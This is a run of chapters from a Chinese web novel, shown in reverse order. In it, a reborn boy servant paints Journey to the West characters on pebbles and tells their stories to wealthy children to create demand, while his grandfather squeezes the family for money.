“什么?!”大伯母第一个叫出声,满脸的不可思议,“平川那小子?” 王氏也是瞪圆了眼睛,死死盯着大伯母手中那几块白花花的银子,眼神里充满了震惊与嫉妒。 她撇了撇嘴,阴阳怪气地说道:“哟,一个才八岁的娃娃,卖身为奴这才几天功夫,就能赚这么多钱?” “该不会是……手脚不干净,从东家那里偷来的吧?” 这话恶毒的很,陈仲和本就涨得通红的脸,此刻更是红得像要滴出血来。 他猛地抬起头,急切地连连摆手:“没有!绝对没有这回事!” “平川那孩子,在张府是伺候小少爷读书写字!张老爷见他当差用心,尽心尽力,这才……这才赏了他这些银子!” 陈老太爷一直沉着脸,此刻捋着颌下稀疏的胡须,浑浊的眼珠微微闪烁了几下。 他心中飞快盘算:这小子,倒真有几分能耐。 念及此,他脸上的阴沉之色,渐渐消散,;露出一丝欣慰的笑容。 “好!好啊!平川这孩子,果然是个有出息的!” “不枉费我平日里,那般疼他爱他!” 第25章 愁人,陈家老爷子又作妖 陈平川静静地听着,脸上依旧没什么多余的表情,但那双漆黑的眼眸深处,却悄然掠过一抹微不可察的光芒。 这小丫头,口才真不错! 本以为她能帮的忙有限,现在看来,这宣传效果,竟是出乎意料的好。 很好。 现在,这些不起眼的石头画,已经通过张家兄妹这两个活生生的招牌,正在悄无声息地渗透进庐州府这些富贵人家的孩童圈子。 星星之火,可以燎原! “大小姐果然兰心蕙质,口齿伶俐,小的佩服。”他适时地恭维了一句。 张静姝显然很受用这句奉承,得意地扬了扬眉梢,但很快又话锋一转,理所当然的催促道:“你那些石头画,还有没有了?” “再给我多画一些出来!” “什么龙啊,凤啊,还有那些书上说的漂亮小仙女,都给我画上!越多越好!” 她一口气噼里啪啦地说了一大堆要求,仿佛陈平川就是专门给她一个人画画的御用小画匠一般。 陈平川心中暗自撇了撇嘴。 这丫头一点都不客气,使唤起人来倒是顺溜得很。 “小姐,”他顿了顿,才慢条斯理地开口,“画石头倒也不是不可以,不过……” “不过什么?”张静姝挑了挑她那细长的柳叶眉,有些不耐烦。 “上次您给我的那些颜料,已经都用光了。”陈平川不紧不慢地说道,“没有颜料,小的就算有天大的本事,也画不出您想要的那些东西。” 张静姝闻言,不以为意地摆了摆手:“我还以为什么大不了的事呢!” 张静姝不以为意,摆摆手:“我还以为什么事呢!简单,本小姐立即命人给你送来,要多少有多少!” “那就谢谢小姐了!” 陈平川垂下眼帘,嘴角勾起。 …… 陈仲和拖着灌了铅似的双腿,向着自家小院走去。 这几日,为了多抠出几个铜板,他天不亮就摸黑起身,跑到几里外的溪边,深一脚浅一脚地捡那些圆润光滑的鹅卵石。 然后再佝偻着腰,一步一喘地将沉甸甸的石筐扛到张府后门去卖。 可即便他使出了浑身力气,换回来的铜钱却一天比一天少。 今天,更是只得了区区三十文。 陈仲心中泛起一阵苦涩的叹息。 村里那些得了风声的,都削尖了脑袋往张府送石头,人一多,那价格自然就被压得死死的。 想想前些日子,运气好的时候,一筐石头还能换回三百文,如今却……唉,一日不如一日了。 更让他心焦的是,听那任管家说,府里修路铺地的活计眼瞅着就要收尾了。 这也就意味着,这条生计,怕是很快就要断了。 他心里像是压了块大石头,沉甸甸的,眼下唯一能让他慰藉的,便是儿子平川在张府里还算安稳,没吃什么苦头。 刚踏进陈家老宅的院门,堂屋里便传来了陈老太太略显尖细的嗓音: “老二回来了?正好,都进来,你爹有话要吩咐。” 陈仲和心头猛地一跳。 依着往日的经验,这个时辰,把一家上下都召集到一处,准没什么好事。 他定了定神,硬着头皮迈进了堂屋的门槛。 昏暗的堂屋内,除了他那因病卧床的婆娘罗氏,其余人都到齐了。 陈仲和像个做错了事的孩子,手脚都不知道往哪里放,小心翼翼地在墙角边寻了个矮凳坐下。 他忍不住偷偷抬眼,飞快地扫了一圈屋里众人的脸色,心中七上八下的。 陈老太爷重重地清了清嗓子。 他那张沟壑纵横的老脸上没什么多余的表情,浑浊的目光在底下众人脸上一一扫过,带着家主威严。 “过几日,我打算去城里拜访一位多年未曾走动的老友。” “如今人家也是家底殷实,薄有家资。我这身行头,总不能太过寒酸,免得丢了我们陈家的脸面,让人家瞧低了去。” 他慢悠悠地说着,每一个字都像是敲在众人的心上。 老太爷微微一顿,目光扫过众人,继续道:“所以,他打算扯几尺好料子,做身体面些的新衣裳,再备上一份看得过去的礼物。只是……眼下这手头,着实有些紧巴,各房都出点力,再凑些钱出来。” 话音刚落,大房的陈仲文那张原本还算平静的脸,瞬间就垮了下来。 他忙不迭地连连摆手,急切说道:“爹,您是知道的,孩儿秋闱在即啊!” “这段时日,无论是请教学问精深的先生指点,还是购买笔墨纸砚这些文房四宝,那可都是一笔不小的开销,处处都要花银子。家中实在是……” 他眉头紧锁,长吁短叹,摆出一副为了科举大业已然心力交瘁、倾尽所有的凄苦模样。 他身旁的大伯母更是心有灵犀,立刻眼圈一红,掐着嗓子配合道:“可不是嘛,爹!您是不知道,为了我家相公这读书应考的大事,我们一家已是节衣缩食,每日勒紧了裤腰带过活,如今真是再也匀不出一个子儿来了!” 一旁的王氏狠狠白了大伯母一眼,昨晚她还看到这一家三口躲在屋里吃着肉包子,这会就勒紧裤腰带了? 陈老太爷闻言,竟是赞同地点了点头,语气也缓和了几分:“嗯,仲文读书乃是头等大事,关乎我陈家门楣,马虎不得。大房就不必出了。” 陈仲和的心,像是被一只无形的手紧紧攥住,一阵阵地发紧,嘴里满是苦涩。 大房轻飘飘一句话就免了。 那这笔账,不用问,自然就要摊派到他们二房和三房的头上了。 果不其然,陈老太爷那张老脸转向了陈仲和与老三陈仲武,语气也沉了下来: “你们两个,可别跟我哭穷说也没钱!” 老三陈仲武最是机灵,知道今天逃不过,眼珠子滴溜一转,脸上立刻堆满了笑容,还将胸脯拍得“啪啪”作响,声音洪亮地保证道: “爹,您老就放一百二十个心!二哥出多少,我便出多少!绝不比他少掏一文钱!” 这话听着豪爽大气! 可屋里的人谁不明白,这分明是把老实巴交的陈仲和架在火上烤。 谁不知道罗氏前阵子刚生了一场大病,抓药看诊,花了不少钱。 早已将他们的家底掏了个底朝天,眼下怕是连买米的钱都得算计着来。 站在陈仲武身后的王氏,嘴角不易察觉地勾起一抹极淡的弧度。 她微微垂下眼睑,掩去了眸中的得意。 自家这个男人,这脑筋转得就是比那闷葫芦似的老二快多了! 一时间,堂屋内的气氛变得有些微妙。 所有人的目光,全都齐刷刷地聚焦在了角落里那个局促不安的陈仲和身上。 陈老太爷那双深陷的眼睛此刻更是如同鹰隼般,死死地盯着他,一字一句地问道: “老二,你拿多少出来?” 第24章 张静姝心眼小脾气大!谁说我这是破石头? 众人立刻好奇地探过头去,想看看这张家大小姐带来什么稀罕物。 结果,却是三块画着小人图案的鹅卵石。 “噗嗤!” 一声不大不小的讥笑,在安静的凉亭中显得格外刺耳。 “我说静姝妹妹,你这是从哪个河沟里捡来的破石头呀?这也能拿出来当宝贝显摆?” 说话的,是庐州府县丞的千金,十岁的赵婉儿。 她年纪最大,便一向自诩为这群官家小姐中的头领人物,平日里最爱发号施令。 偏偏张静姝性子特立独行,从不买她的账,赵婉儿早就看她不顺眼,此刻逮着机会,自然要出言讥讽一番。 其他几个平日里唯赵婉儿马首是瞻的小姐千金,也立刻跟着掩嘴轻笑起来,言语间满是若有若无的轻蔑。 “就是啊,脏兮兮的,有什么好玩的?” “我还当是什么稀罕物件儿呢!只有乡下的泥腿子才玩石头!” 在她们这些金尊玉贵的小姐们看来,这等粗陋的石头玩意儿,实在是上不得台面,与她们那些金玉首饰相比,简直有云泥之别。 张静姝那张俏丽的小脸瞬间一板,眉毛微挑,那股子与生俱来的傲娇劲儿又上来了。 她也不与她们争辩,只是伸出纤细的手指,将那三块画着图案的鹅卵石在面前的石桌上一字排开。 “哼,你们真是一群没见识的土包子!”她轻轻哼了一声,随后带着一种莫名的神秘语调开了口:“你们可知,这石头上画的,究竟是何方神圣?” 不等众人回答,她便已然自顾自地讲了起来:“这个,是前往西天拜佛求经的唐僧。” “这个,是他座下专管降妖伏魔的大徒弟,孙悟空。” “他们师徒四人西天取经,路上遇到一个极其厉害的妖怪,此妖名为白骨夫人,最善于变化惑人,喏,就是这个凶巴巴的骷髅精!” 她努力学着陈平川讲故事时的语调和神态,将那段惊心动魄的“三打白骨精”娓娓道来。 虽然不及陈平川那般收放自如、圆熟老练,却也讲得有模有样,跌宕起伏。 尤其是那些妖精变化、悟空发威的惊险细节,更是引得一众平日里只知描鸾绣凤的小姐妹们听得津津有味,一颗心都提到了嗓子眼。 方才还满脸嘲讽与不屑的小姐们,渐渐地,都被她口中那离奇曲折的故事吸引住了。 一个个都伸长了白嫩的脖颈,瞪大了眼睛,听得入了迷。 当张静姝讲到那孙悟空火眼金睛识破妖精诡计,却反被肉眼凡胎的唐僧误解,含冤受屈,最终被无情逐出师门,黯然离去之时。 几个心思单纯、心肠软糯的小姐,甚至眼圈都有些微微发红,险些掉下泪来。 “后来呢?后来呢?那唐僧岂不是要被妖怪吃掉了?”赵婉儿最先沉不住气,也顾不上先前的作态与嘲讽了,急急地追问道。 “是啊是啊,静姝妹妹,你快说后来究竟怎么样了?” 众人七嘴八舌,哪里还有半分先前的嘲弄之色,一个个脸上都写满了对故事后续的渴望。 张静姝看着她们一个个急不可耐的模样,心中一阵说不出的快意。 她不慌不忙地将那三块石头宝贝似的重新一一收回荷包,小巧的下巴微微扬起,带着得意。 “方才是谁说,这是几块没人要的破石头来着?”她慢悠悠地开口,目光特意扫向了脸色有些发窘的赵婉儿。 赵婉儿一张俏脸涨得通红,有些尴尬,却又舍不得听不到故事的后半段,只得讪讪地开口:“是……是姐姐我有眼不识泰山,静姝妹妹你可千万别往心里去。” “求求你,快给我们讲讲那猴子后来的故事吧!” “晚了!我已经往心里去了!”张静姝得意地哼了一声,她继续吊着众人的胃口:“想知道后来怎么样了?求我呀!” 这群千金小姐表情难看,谁也开不了口。 众人中年纪最小的姑娘,小心翼翼地伸出手,带着一丝讨好:“静姝姐姐,你这石头……能不能……能不能借我摸摸看?” 之前她们不觉得这粗陋的石头有什么特别之处。 可听完了那段神奇的故事之后,再看这些石头,感觉就完全不一样了。 那已经不再是一块普通的石头了。 那分明是通往一个光怪陆离、神奇莫测世界的入口,简直比她们手中那些价值连城的珠宝还要珍稀百倍! 张静姝却将荷包往自己怀里一拢,傲娇地哼了一声:“想得美!” “这可是我的宝贝,金贵着呢!不给摸,也不给碰!” 赵婉儿一咬牙,似乎下了很大的决心,从头上拔下一支成色相当不错的白玉嵌珠兰花簪子,递到张静姝面前,语气有些急切地说道:“静姝妹妹,方才确实是姐姐不对!我……我用这个簪子,跟你换一块石头行不行?” “不行!”张静姝想也不想便一口回绝,“我这些宝贝,可是独一无二的,千金不换!” 看着赵婉儿她们那一副又眼馋又无奈,偏又无可奈何的憋屈模样,张静姝觉得比得了什么稀罕宝贝都要开心得多。 直到丫鬟过来催促她们,说是要去前厅给县尊夫人拜寿了,那些小姑娘们还眼巴巴地瞅着张静姝怀里那个鼓囊囊的荷包。 张静姝心中得意非凡,连走路的脚步都比往日轻快了几分。 宴席散后,日影西斜。 一回到张府,张静姝便一溜烟直接跑到了陈平川的住房外。 “臭书童!快出来!” 她叉着腰,下巴高高扬起,一副趾高气扬的模样。 陈平川放下手中正在拾掇的纸笔,不疾不徐地走了出来。 “大小姐有何吩咐?”他语气平静,淡淡开口。 “告诉你,本小姐今天,可是大大地出了一回风头!”张静姝将怀里的石头一股脑儿全都掏了出来,献宝似的摊在陈平川面前。 “你画的这些石头,把县丞家的赵婉儿她们,一个个都给迷得神魂颠倒的!” 她绘声绘色地向陈平川描述了自己在那些小姐妹面前,如何用故事吊足她们胃口的场景。 “她们都想要我的石头,好话说尽,就差跪下来求着我了呢!”张静姝越说越是得意,小嘴翘得老高。 “可是啊,我偏不给她们摸!就让她们干看着着急!” ? 第23章 小书童故事讲的太好,少爷们无法自拔! 陈平川悄无声息地上前一步,拿过张金宝手里的石头,脸上堆起憨厚老实的笑容,声音清亮。 “各位小少爷,这石头虽然不会自己飞起来。” “但它却与众不同,因为它会‘说话’。” “今日小的斗胆,给各位小少爷讲一段‘齐天大圣大闹天宫’的奇闻异事,不知各位小少爷可愿赏光?” 刘铭挑了挑好看的眉毛,嘴角噙着一丝不屑的笑意,显然没把这个小书童放在眼里。 孙勇更是扯着嗓子嚷嚷起来:“大闹天宫?哼!我倒要听听,你这小书童能讲出什么花儿来!” 其他几个孩子也抱着看热闹的心态,嘻嘻哈哈地附和着。 陈平川也不多言,只是微微一笑,开始了自己的表演。 他的声音并不大,却带着一种奇特的韵律和吸引力,时而高亢激昂,时而低沉婉转。 “话说东胜神洲,海外有一国土,名曰傲来国。国近大海,海中有一座山,唤为花果山……” 他将那孙悟空如何从仙石中迸裂而出,如何在水帘洞自立为王,统领群猴。 又讲他如何为了寻求长生不老之术,漂洋过海,历经千辛万苦,拜菩提祖师为师,习得七十二般变化和筋斗云的无上神通。 他手中那块画着美猴王的鹅卵石,随着他的讲述,时而被高高举起,仿佛那猴王正傲立云端。 时而又被他巧妙地遮掩,仿佛猴王隐去了身形。 他讲到孙悟空手持那如意金箍棒,如何大闹东海龙宫,取得神兵。 又如何闯入幽冥地府,强销生死簿,直搅得地府天翻地覆,十殿阎罗束手无策。 玉皇大帝无奈之下,只得听从太白金星的建议,将他招安上天,封了个管理御马的小官——弼马温…… 陈平川讲到此处,还惟妙惟肖地学着猴子那抓耳挠腮、上蹿下跳的顽皮模样。 又模仿着那些天兵天将面对这无法无天的泼猴时,那副惊慌失措、狼狈不堪的窘态。 一块普普通通的石头画,在他手中仿佛真的活了过来。 变成了一个天不怕、地不怕,桀骜不驯、神通广大的美猴王! 原本还有些吵闹喧哗的小花厅,不知从何时起,已经彻底安静了下来。 落针可闻。 所有孩子的目光,都被陈平川和他手中那块小小的、五彩斑斓的石头牢牢吸引住了。 刘铭先前还是一脸的不屑与傲慢,此刻却微微张着嘴,眼睛一眨不眨,连呼吸都放轻了,忘了合上。 孙勇也伸长了脖子,一双眼睛瞪得溜圆,仿佛生怕漏听了一个字,错过了什么精彩的细节。 钱岳更是将他视为珍宝的九连环随手丢在了桌案上,全神贯注地听着。 其他几个孩子,也都屏息凝神,一个个听得如痴如醉,仿佛身临其境。 就在陈平川讲到孙悟空偷吃蟠桃、搅乱了王母娘娘的蟠桃盛会,被太上老君投入八卦炉中,眼看就要灰飞烟灭之际—— 一个丫鬟脚步匆匆地走了进来,对着众人敛衽福了一福。 “各位小少爷,夫人们在前厅唤各位过去给县尊夫人拜寿呢。” 陈平川立刻住了口,将那块画着“美猴王”的石头还给张金宝。 他对着众人一拱手,声音平静:“今日的故事便先到此为止,多谢各位小少爷赏光。” 他作势便要躬身退下,离开厅堂。 “哎!你别走啊!”刘铭最先反应过来,一个箭步上前,也顾不上什么县令公子的矜持了,一把便拉住了陈平川的衣袖。 “那猴子……那孙悟空后来怎么样了?他真的被烧死了吗?”孙勇也急得满头大汗,大声追问道,声音满是焦急。 钱岳也连连点头,抢着说道:“对啊对啊!你快继续讲下去!” 其余几个孩子也纷纷围了上来,七嘴八舌地叫嚷起来,个个脸上都写满了意犹未尽和急不可耐。 陈平川垂下眼帘,巧妙地掩去了眸中那一闪而过的淡淡笑意。 很好。 第一步,成了! 这“石头西游记”的名声,很快就能从这些小少爷、小公子们的口中,传播到他们各自的圈子里。 那可都是优质客户啊! 张金宝见陈平川三言两语,便将这群平日里眼高于顶的小子们治得服服帖帖,心中佩服得五体投地。 自己也跟着与荣有焉。 他一把搂住陈平川的肩膀,大声嚷嚷:“告诉你们吧!” “这石头上的孙悟空,是我大哥画的!” “刚才的故事,也是我大哥想出来的!” 此言一出,原本围着陈平川叽叽喳喳追问不休的几个孩子,动作都是猛地一顿。 一道道惊奇的目光,再次齐刷刷地投向了陈平川。 一个下人,竟有这般神乎其神的本事? 陈平川只是淡淡一笑。 既没有承认,也没有否认,更添了几分高深莫测。 孙勇已经按捺不住,肥硕的身子奋力挤上前来:“张金宝,让你大哥也给我画一个!” “不!画十个!”他伸出胖乎乎的手指比划着。 “我也要那个孙悟空!”钱岳也跟着尖声叫道,生怕自己落在了后头。 刘铭虽然没有像他们那般失态,但那双黑亮的眼珠子里,也分明闪烁着难以掩饰的渴望。 陈平川见状,脸上故意露出一个为难的表情。 他慢悠悠地开口,声音传入每个人的耳中:“各位小少爷,这里没有趁手的画具,小的实在没办法当场作画。” “而且,时辰也不早了,若是耽误了各位给县尊夫人拜寿,那可就是小的罪过了。” 他这一提醒,众人才如梦初醒,想起今日的正事。 “那可说好了!下次!下次你一定得给我们多带些石头画过来!” “没错没错!不许耍赖!” 几个小少爷一边七嘴八舌地叮嘱着,一边满脸不情不愿地跟着丫鬟,一步三回头地走出了小花厅。 与此同时,县令府后花园的另一处凉亭里。 一群衣着华丽、珠光宝气的小姐们,正围坐在一处,各自展示着自己的新奇玩意儿。 “瞧我这个镯子,是我爹爹特地从京城给我寻摸回来的羊脂玉镯呢!”一个穿着粉色绫罗裙的小姑娘,得意洋洋地扬起自己雪白的手腕。 “我这个也不差!”另一个梳着精致双丫髻的小丫头不甘示弱地接口,“这是我娘亲专门请了城里最有名的巧匠,给我打制的赤金缠丝嵌珍珠步摇,你们瞧瞧上面这颗东海珍珠,多圆润!” 几个小姑娘叽叽喳喳,炫耀着各自的宝贝,一时间亭内珠光隐隐,香风阵阵,好不热闹。 轮到张静姝时,她却是不慌不忙地从自己绣着精致兰草的袖袋中,取出一个小巧玲珑的锦囊。 ? 第22章 富家子弟不识货,请看我的表演! “哎!妹妹!你怎么能这样!那是大哥画的!”张金宝在一旁看得目瞪口呆,急得直跺脚,却又拿这个宝贝妹妹毫无办法。 最后,只能苦着脸,手忙脚乱地把剩下的几块石头,也像宝贝一样,揣进自己的怀里,生怕慢一步又被妹妹抢了去。 陈平川将这一幕尽收眼底,嘴角勾起一抹几不可见的笑意。 一切,尽在掌握。 没错,这正是他计划中的一环。 他自己一个小小的书童,自然没办法随意出入张府,更别提去外面推销什么“石头画”了。 但通过张金宝和张静姝这对兄妹,就不一样了。 张家的生意遍布庐州府,甚至邻近的州县都有涉及。 这小小的石头画,看似不起眼,却胜在新奇有趣。 或许,就能借着这两个孩子的手,在这富贵人家的圈子里,悄无声息地砸开一条意想不到的销路。 如此一来,父亲辛辛苦苦从溪边捡来的那些鹅卵石,经过自己这番“差异化”的加工处理,才能真正体现出价值,卖出远超普通石子百倍千倍的价钱! 到那时,家里的日子,才能真正好起来! 陈平川等待的机会,终于来了。 “平川,明日老爷、夫人要带少爷小姐,往县尊刘大人府上赴宴,贺县令夫人生辰。” 这日午后,陈平川刚陪着张金宝写完几个大字,任管家便神色郑重地将他唤至一旁。 他的声音压得很低,表情肃然:“你也跟着去。” “务必乖巧伶俐,万万不可失了我们张家的体面,听见没有?” 陈平川心中微微一动。 去县令府? 这可是一个千载难逢的好机会。 “小的晓得了,任管家放心。”他垂下眼帘,语气显得格外恭顺。 次日,天光大好。 陈平川穿着一身崭新的细棉布衣裳,跟在张盛财一家人的马车后,来到了刘县令的府邸。 刘县令的府邸果然气派非凡,比张家那深宅大院更添了几分官家的庄重与威仪。 此刻,府门前早已停满了各式马车,仆人丫鬟往来不绝,衣香鬓影,熙熙攘攘,一派热闹非凡的景象。 身为下人,陈平川自然是不能跟着主家进入大堂的。 任管家领着陈平川,在仆人的引领下,往偏厅行去,那里是各家仆从们等候歇脚的地方。 偏厅里已经聚集了不少人,三三两两地说着话。 不多时,一个小小的身影一阵风似的从外面跑了进来,扯着嗓子大喊:“大哥!大哥!” 是张金宝。 陈平川赶忙从角落里迎了出来,躬身问道:“少爷,您怎么到这儿来了?可是有什么吩咐?” 张金宝小胖脸上带着兴奋,一把拽住他的胳膊就往外拖:“大哥!你快跟我来!我带你去见我的朋友们!” 他的声音不小,霎时间便引得偏厅内不少下人都好奇地看了过来。 任管家站在不远处,看着自家小少爷这风风火火的模样,脸上露出一抹略显无奈的苦笑。 他轻轻摇了摇头,终究是什么也没说,算是默许了。 能让这位小祖宗不哭不闹,安安生生地待着,跟着也就跟着吧。 陈平川跟在张金宝身后,打量着四周的景致与布局。 这刘府的排场,确实非同一般,雕梁画栋,曲径通幽。 穿过几道精致的回廊,便到了一处专供孩子们嬉闹的小花厅。 花厅布置得雅致有趣,此刻里面已经聚了好些衣着光鲜、锦衣华服的孩童。 为首一个男孩,约莫九岁上下,身穿宝蓝色暗纹绸衫,腰系玉带,衣饰最为华贵。 他下巴微微扬着,带着一股天生的傲气,正是县令刘大人的独子——刘铭。 刘铭身旁,一个生得虎头虎脑的男孩,是城中孙举人的宝贝儿子孙勇,瞧着便有几分骄纵蛮横。 另一个身形瘦小些,眼睛滴溜溜乱转,透着几分机灵劲儿的,则是本地富商钱老爷家的公子钱岳。 几个孩子正兴高采烈地围着钱岳手中一个物件叽叽喳喳,议论不休。 见了张金宝进来,又瞥见他身后跟着一个穿着朴素、瞧着有些土里土气的陈平川,皆是露出一副爱答不理的模样。 陈平川目光在那物件上一扫而过。 只见钱岳正得意洋洋地摆弄着手中的一个九连环。 那九连环非金非玉,似是某种极为坚硬的木料所制,打磨得光滑油亮,结构精巧复杂。 周围几个孩子都伸长了脖子,满脸都是掩饰不住的羡慕与渴望。 “钱岳哥哥,给我玩玩呗?”一个年纪稍小些的男孩眼巴巴地央求道,声音带着谄媚。 钱岳闻言,却把那九连环往怀里一收,得意地撇了撇嘴,扬声道:“这可是我爹花大价钱,特地从外地给我寻来的稀罕宝贝,金贵着呢!” “你们毛手毛脚的,弄坏了可赔不起!” 张金宝也眼馋得很,他最喜欢这些新奇玩意儿了,连忙凑上前去,嚷嚷道:“钱胖子,什么好玩意?借我看看!” 钱岳斜睨了他一眼,毫不客气地拒绝道:“不借!” “你这夯货,手最笨了,弄坏了你赔得起吗?” 张金宝顿时一张小脸涨得通红,梗着脖子正要发作。 他忽然像是想起了什么,急忙从怀里宝贝似的掏出一块画着“美猴王”的鹅卵石。 他将那鹅卵石往众人面前一亮,得意洋洋地大声炫耀:“哼!我才不稀罕你的什么破环子!你们瞧瞧我这个!” “这叫孙悟空!乃是齐天大圣!能腾云驾雾,一个筋斗就是十万八千里!” 几个孩子果然被那色彩鲜艳、图案奇特的石头吸引了目光,纷纷好奇地探头过来看。 石头上那猴子,画得确实活灵活现,神气十足。 刘铭却只是淡淡瞥了一眼,不屑一顾地轻嗤一声:“一块破石头罢了。” “随便在上面画个猴儿,有什么稀奇的?”他语气中带着轻蔑。 孙勇也立刻跟着起哄,指着那块石头哈哈大笑起来:“张金宝,你要是能让这破石头飞起来,我就把钱岳这九连环给生吞了!” 钱岳闻言,也跟着嘎嘎怪笑起来,看着张金宝的眼神充满了戏谑。 这些孩子平日里玩的都是些弓箭弹弓、斗鸡走狗的玩意儿,哪里听过什么《西游记》的传奇故事。 在他们看来,这石头画得再好,也不过是块死物,自然不觉得有什么了不起。 陈平川知道,该自己登场了。 ? 第21章 石头西游记,陈平川的惊喜来了 “精彩百倍?”张静姝的眼睛瞬间瞪得溜圆,闪烁着兴奋的光芒。 对她而言,从染坊弄点颜料,不过是吩咐底下丫鬟跑一趟的小事。 “好!一言为定!”她立刻拍板,“我现在就去让人给你取!不过……” 小丫头扬了扬白嫩的小拳头,带着几分警告的意味:“你要是敢骗我,看我怎么收拾你!” “君子一言,驷马难追。”陈平川微微一笑,露出一口细密的小白牙。 张静姝似乎还是有些不放心,她眼珠一转,伸出白嫩的小拇指,噘着嘴道:“不行,得拉钩!你要是骗我,你就是小狗变的!” 陈平川忍着笑,很配合地伸出自己的小指,与她那柔软温热的小指勾在一起,轻轻晃了晃。 “一言为定。” 得到双重保证,张静姝这才心满意足地“哼”了一声,像只骄傲的小孔雀般,转身一溜烟地跑去吩咐下人取颜料了。 看着她蹦蹦跳跳远去的背影,陈平川收敛笑容。 他弯下腰,从父亲先前送来的那堆鹅卵石中,仔细挑拣起来。 他专挑那些约莫孩童掌心大小、形状或圆或扁,但无一例外都极为光滑的石头。 选了十来块后,他抱着石头回到了自己那间有些简陋的偏房。 不多时,便有一个小丫鬟提着一个小巧的木盒,将各色颜料送了过来。 “平川小哥,这是小姐吩咐送来的颜料,您看看合用不?” 陈平川接过,打开一看,红黄蓝绿黑白,颜色齐全,质地细腻,正是他想要的。 “有劳姐姐了,替我多谢小姐。” 待丫鬟走后,陈平川立刻将房门从里面紧紧关闭,还用一根小木棍抵住了门栓,确保无人打扰。 一切准备就绪。 “呼……开工!” 陈平川将颜料一一摆开,深吸一口气,喃喃自语:“好久没正经画画了,希望前世那点底子还没丢光。” 他虽是中文系出身,并非什么美术专业。 但前世为了追求一位热爱国画的学妹,也曾煞费苦心,偷偷报班学过一阵子素描和国画基础。 虽然最终没能抱得美人归,却也意外练就了一手还算不错的绘画技巧。 用来应付这些石头上的简笔小画,绰绰有余。 他活动了一下小小的手指,寻了一根细长的竹签,用小刀将一端削尖,充当画笔。 细细研磨调配着颜料,选了一块手感最圆润的鹅卵石。 烛光摇曳,映照着他稚嫩却异常专注的侧脸。 只见他手腕轻动,削尖的竹枝在光滑的石面上灵巧地游走。 很快,一个头戴紧箍咒,手持金箍棒,神情桀骜不驯的美猴王形象,便活灵活现地出现在了石面上。 接着是挺着大肚子,扛着九齿钉耙,憨态可掬的猪八戒。 还有身披袈裟,宝相庄严的唐三藏。 以及一些《西游记》中脍炙人口的经典场面,如“大闹天宫”、“三打白骨精”的某个瞬间。 他甚至还在一些石头的背面,用工整的楷书写上了几句画龙点睛的诗句。 “金猴奋起千钧棒,玉宇澄清万里埃。” “借问酒家何处有,牧童遥指杏花村。” ——呃,这句好像串戏了,划掉划掉。 他画得极为投入,额头上渗出了细密的汗珠也浑然不觉。 直到窗外传来三更的梆子声,他才揉了揉有些酸涩的眼睛,停下了手中的“画笔”。 看着桌上摆放得整整齐齐的八九块“杰作”,陈平川的脸上露出了满意的笑容。 这些石头画,若是放在他前世的那个时代,充其量也就算个粗糙的手工艺品。 但在如今这个娱乐匮乏的大业朝,对于孩子们而言,绝对是前所未见的新奇玩意儿! 足以让他们眼前一亮,爱不释手! 第二日,午休时分。 用过午饭的张金宝和张静姝,像是约好了一般,一前一后地冲进了陈平川的偏房。 “大哥!大哥!故事!故事!”张金宝猴急地抓着他的胳膊,连珠炮似的催促。 张静姝则双手抱胸,下巴微抬,小大人模样盯着陈平川。 “臭书童,你说的惊喜呢?快拿出来!” 陈平川看着这对活宝兄妹,微微一笑。 从怀里小心翼翼地,一块一块地摸出那些画好的鹅卵石,在两人面前一字排开。 “呀!” “哇——!” 几乎在同一时间,张金宝和张静姝同时爆发出了一声充满惊喜的呼喊。 两双黑葡萄似的眼睛,瞬间瞪得溜圆,一眨不眨地死死盯住了那些五彩斑斓的石头。 只见那些原本普普通通的鹅卵石,此刻却仿佛被赋予了生命。 有的上面画着一只抓耳挠腮的猴子,身披锁子黄金甲,脚踏藕丝步云履,威风凛凛,神气活现,正是那齐天大圣孙悟空! 有的上面画着一个大耳朵、长鼻子的胖和尚,肩上扛着钉耙,嘴角还流着哈喇子,憨厚中带着几分狡黠,正是那猪八戒! 还有一块石头上,画着一位英俊少年,三头六臂,手持火尖枪,脚踩风火轮,不是哪吒三太子又是谁? 更有画着一匹神骏白马,鬃毛飞扬,蹄下生云,驮着一位僧人。 “这……这是……孙悟空?”张金宝颤抖着小胖手,指着那块画着美猴王的石头,声音里充满了难以置信的惊喜。 “臭书童!这就是你说的惊喜?”张静姝则一把抓起那块画着“哪吒三太子”的石头,小脸因为激动而涨得通红,眼睛里闪烁着前所未有的光芒。 “正是。”陈平川拿起一块画着唐僧师徒四人Q版形象的石头,笑道:“今天,我们就用这些‘会说话’的石头,继续讲唐僧师徒西天取经的故事。” 有了这些惟妙惟肖的石头画辅助,故事仿佛瞬间活了过来。 陈平川讲到沙和尚被流沙河水怪抓走,便举起一块画有沙僧的石头。 讲到猪八戒在高老庄背媳妇,便展示他憨笑着背着一个蒙着红盖头女子的滑稽场景。 张金宝和张静姝看得如痴如醉,小嘴张得大大的,眼睛都不舍得眨一下。 比往日里单纯用耳朵听,不知道要投入多少倍! 故事讲完一个段落,两个孩子还意犹未尽地捧着那些冰凉却又神奇的石头,翻来覆去地看,小脸上满是喜爱。 张静姝眼珠滴溜溜一转,趁着陈平川和张金宝不注意。 以迅雷不及掩耳之势,飞快地将画着美猴王、小白龙以及猪八戒背媳妇的那三块石头,一股脑地揣进了自己的怀里。 那三块是她最最喜欢的,画得也最传神! “哼,这些是我的了!”她双手护着怀里的宝贝,得意洋洋地宣布,语气霸道。 ? 第20章 另辟蹊径,小鱼儿上钩了 陈平川的目光在那块亮闪闪的碎银子上一扫而过,没有半分停留,依旧是那副云淡风轻的表情:“多谢小姐厚爱。只是这故事嘛,就像品茶一样,得慢慢来,急不得。” 食物吃了也就吃了,但这钱财可万万不能随便拿。 尤其是在这规矩森严的张府,若是被人发现他私下收受小姐的赏钱,那可是天大的麻烦! 张静姝见自己软硬兼施,连银子都砸出去了,竟还是奈何不了这个油滑的臭书童,气得小脸一阵红一阵白,抓起桌上的银子,重重地哼了一声,扭头便气冲冲地跑了。 …… 过了几日,一个略显佝偻却又十分熟悉的身影,在任管家的引领下,走进了陈平川所住的偏院。 是陈仲和。 他的肩上,还挑着一担打磨得十分光滑的鹅卵石,显然是走了许久的山路,额头上布满了细密的汗珠,显得风尘仆仆。 任管家治家还算宽厚,特许了陈平川一小会儿功夫,去见见自己的父亲。 “爹!”陈平川又惊又喜,几乎是三步并作两步地迎了上去。 陈仲和放下肩头那担沉甸甸的鹅卵石,握着陈平川的手,仔仔细细地在儿子身上来回打量着。 见他身上穿着细棉布衣裳,虽然简朴,却也整洁。 小脸也比在家时圆润了一些,不像以前那样面黄肌瘦,蜡黄一片,整个人的气色看着也好了不少。 